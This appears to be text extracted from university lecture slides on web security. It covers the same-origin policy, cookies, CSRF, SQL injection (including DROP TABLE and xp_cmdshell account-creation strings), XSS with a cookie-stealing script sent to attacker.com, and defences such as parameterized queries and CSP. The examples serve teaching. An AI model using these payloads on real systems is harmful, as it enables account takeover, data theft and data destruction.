09 Web Attacks PDF
09 Web Attacks PDF
attacker.com
http://example.com
GET /img/usr.jpg
<img src=“bank.com/img/usr.jpg”>
</img>
bank.com
DOM SOP Vulnerabilities
This can pose a security risk because attackers might not need to view the
response to a request to pull off their attack
attacker.com
http://example.com
GET /transfer?…
<img src=“https://bank.com/transfer?
fromAccount=X
&toAccount=Y
&amount=1000”></img>
bank.com
Javascript Requests
Javascript can make new requests for additional data and resources
// running on attacker.com
$.ajax({url: “https://bank.com/account",
success: function(result){
$("#div1").html(result);
}
});
Cross-Origin Resource Sharing (CORS)
By default, Javascript cannot read data sent back by a different origin
$.ajax({url: “api.bank.com/account“, …})
api.bank.com
Cross-Origin Resource Sharing (CORS)
By default, Javascript cannot read data sent back by a different origin
$.ajax({url: “api.bank.com/account“, …})
api.bank.com
api.bank.com
api.bank.com
$.ajax({
url: “api.bank.com/account“, type: “POST”,
Requires Pre-Flight because not
dataType: “JSON”, data: {“account”: “abc123”} possible to send JSON in HTML form
})
Same Origin Policy
(Cookies)
Cookies
“In scope” cookies are always sent to an origin regardless of requester
<html><form>...</form></html>
bank.com
<img src=“/img/user.jpg”
bank.com
Cookies
“In scope” cookies are always sent to an origin regardless of requester
<html><form>...</form></html>
bank.com
<img src=“/img/user.jpg”
bank.com
<img src=“/img/user.jpg”
bank.com
Cookie Same Origin Policy
stanford.edu
Cookie scope defined by (domain, path):
Domain:
e.g., (cs155.stanford.edu, /lectures)
Path: /classes
https://stanford.edu/classes
Cookies with explicit domain are sent to exact
matches and subdomains
https://stanford.edu/classes/cs155
https://www.stanford.edu/classes
/lectures/web is suffix of /lectures
https://stanford.edu/classes
Cookies with explicit domain are sent to exact
matches and subdomains
https://cs155.stanford.edu/attack
Cookie Attack
CS155 now allows you to login and submit homework at cs155.stanford.edu
Cookies
POST /login HTTP/1.1
cookies: []
username: zakir, password: stanford HTTP/1.0 200 OK
(cs155.stanford.edu)
cookies: session=abc cs155.stanford.edu
session=abc
<html>Success!</html>
cs155.stanford.edu
Javascript Cookie Access
Developers can additionally manipulate in-scope cookies through Javascript by modifying
the values in document.cookie.
document.cookie = "name=zakir";
document.cookie = "favorite_class=cs155";
function alertCookie() {
alert(document.cookie);
}
<button onclick="alertCookie()">Show Cookies</button>
Policy Collisions
Cookie SOP Policy
cs.stanford.edu/zakir is not sent cookies for cs.stanford.edu/dabo
Are Dan’s cookies safe from Zakir? No. DOM SOP doesn’t consider path.
const iframe = document.createElement("iframe");
iframe.src = “https://cs.stanford.edu/dabo”;
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
Third Party Access
If your bank includes Google Analytics Javascript (from google.com), can
it access your Bank’s authentication cookie?
domain: bank.com
name: authID
value: auth
HTTP Cookies
Network Attacker
Can Observe/Alter/Drop Traffic
HTTPS Connection
bank.com
domain: bank.com
name: authID
value: auth
domain: bank.com
name: authID
value: auth
bank.com
domain: bank.com
name: authID
value: auth
Secure Cookies
A secure cookie is only sent to the server when request is sent over an
encrypted channel (i.e., using HTTPS protocol)
$.post({url: “api.bank.com/account“, …})
api.bank.com
Cross-site request forgery (CSRF) attacks are a type of web exploit where a
website transmits unauthorized commands as a user that the web app trusts
$.ajax({url: “api.bank.com/account“, …})
api.bank.com
$.post({url: “api.bank.com/account“, …})
api.bank.com
- Referer Validation
- sameSite Cookies
Referer Validation
The Referer request header contains the address of the previous web page
from which a link to the currently requested page was followed. The header
allows servers to identify where people are visiting from.
https://bank.com → https://bank.com ✓
https://attacker.com → https://bank.com X
https://attacker.com → https://bank.com ??
Secret Token Validation
bank.com includes a secret value in every form that the server can validate
How do we come up with a token that user can access but attacker can’t?
Can we force the browser to make Pre-Flight check? And tell the server?
→ Never sent by the browser itself when performing normal GET or POST
Can we force the browser to make Pre-Flight check? And tell the server?
→ Never sent by the browser itself when performing normal GET or POST
Strict Mode. Never send cookie in any cross-site browsing context, even
when following a regular link. If a logged-in user follows a link to a private
GitHub project from email, GitHub will not receive the session cookie and
the user will not be able to access the project.
Lax Mode. Session cookie is be allowed when following a regular link from
but blocks it in CSRF-prone request methods (e.g. POST).
Beyond Authenticated Sessions
Prior attacks were using CRSF attack to abuse cookies from logged-in user
Not all attacks are attempting to abuse authenticated user
Imagine script that logs into your local router using default password and
changes DNS settings to hijack traffic
Example: head100 — simple program that cats first 100 lines of a program
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}
Non-Malicious Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}
Non-Malicious Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123'”
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}
Bad Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123'
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123''”
$rs = $db->executeQuery($sql);
// SQL Syntax Error
if $rs.count > 0 {
// success
}
Malicious Input
$u = $_POST['login']; // zakir'--
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir'-- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!
}
No Username Needed!
$u = $_POST['login’]; // 'or 1=1 --
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''or 1=1 -- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!
}
Causing Damage
$u = $_POST[‘login’]; // '; DROP TABLE [users] --
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''DROP TABLE [users]--”
$rs = $db->executeQuery($sql);
// No Error…(and no more users table)
if $rs.count > 0 {
// Success!
}
MSSQL xp_cmdshell
Microsoft SQL server lets you run arbitrary system commands!
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = '';
exec xp_cmdshell 'net user add usr pwd123'-- "
$rs = $db->executeQuery($sql);
// No Error…(and with a resulting local system account)
if $rs.count > 0 {
// Success!
}
Preventing SQL Injection
Never trust user input (particularly when constructing a command)
sql = “INSERT INTO users(name, email) VALUES(?,?)”
Values are sent to server
cursor.execute(sql, ['Dan Boneh', ‘[email protected]']) separately from command.
Library doesn’t need to escape
sql = "SELECT * FROM users WHERE email = ?"
cursor.execute(sql, [‘[email protected]'])
Benefit 1: No need to escape untrusted data — server handles behind the scenes
Benefit 2: Parameterized queries are faster because server caches query plan
Object Relational Mappers
Object Relational Mappers (ORM) provide an interface between native objects
and relational databases.
class User(DBObject):
__id__ = Column(Integer, primary_key=True)
name = Column(String(255))
email = Column(String(255), unique=True)
if __name__ == "__main__":
users = User.query(email='[email protected]').all()
session.add(User(email='[email protected]', name='Dan Boneh'))
session.commit()
Cross Site Scripting
(XSS)
Cross Site Scripting (XSS)
Cross Site Scripting: Attack occurs when application takes untrusted data
and sends it to a web browser without proper validation or sanitization.
<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Normal Request
https://google.com/search?q=apple
<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Sent to Browser
<html>
<title>Search Results</title>
<body>
<h1>Results for apple</h1>
</body>
</html>
Embedded Script
https://google.com/search?q=<script>alert(“hello”)</script>
<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Sent to Browser
<html>
<title>Search Results</title>
<body>
<h1>Results for <script>alert(“hello")</script></h1>
</body>
</html>
Cookie Theft!
https://google.com/search?q=<script>…</script>
<html>
<title>Search Results</title>
<body>
<h1>Results for
<script>
window.open(“http:///attacker.com?”+cookie=document.cookie)
</script>
</h1>
</body>
</html>
Types of XSS
An XSS vulnerability is present when an attacker can inject scripting code
into pages generated by a web application.
Two Types:
Reflected XSS. The attack script is reflected back to the user as part of a
page from the victim site.
Stored XSS. The attacker stores the malicious code in a resource managed
by the web application, such as a database.
Reflected Example
Attackers contacted PayPal users via email and fooled them into accessing
a URL hosted on the legitimate PayPal website.
Missed one. You can run Javascript inside of CSS tags.
<div style="background:url('javascript:alert(1)')">
Filtering Malicious Tags
For a long time, the only way to prevent XSS attacks was to try to filter out
malicious content
Validate all headers, cookies, query strings, form fields, and hidden fields
(i.e., all parameters) against a rigorous specification of what is allowed
‘Negative’ or attack signature based policies are difficult to maintain and are
likely to be incomplete
Filtering is Really Hard
Large number of ways to call Javascript and to escape content
<IMG_SRC=javasc�
114ipt:ale�
00114t('XSS'&#
0000041>
Google XSS FIlter Evasion!
Filters that Change Content
CSP allows eliminating XSS attacks by whitelisting the origins that are
trusted sources of scripts and other resources
Browser will only execute scripts from whitelisted domains, ignoring all other
scripts (including inline scripts and event-handling HTML attributes).
Example CSP 1
→ content can only be loaded from the same domain as the page, except
Question: how do you safely load an object from a third party service?
<script src="https://code.jquery.com/jquery-3.4.0.js"></script>
MaxCDN had laid off a support engineer having access to the servers where
BootstrapCDN runs. The credentials of the support engineer were not
properly revoked. The attackers had gained access to these credentials.
<script
src="https://code.jquery.com/jquery-3.4.0.min.js"
integrity="sha256-BJeo0qm959uMBGb65z40ejJYGSgR1fNKwOg="
/>
Web Attacks
CS155 Computer and Network Security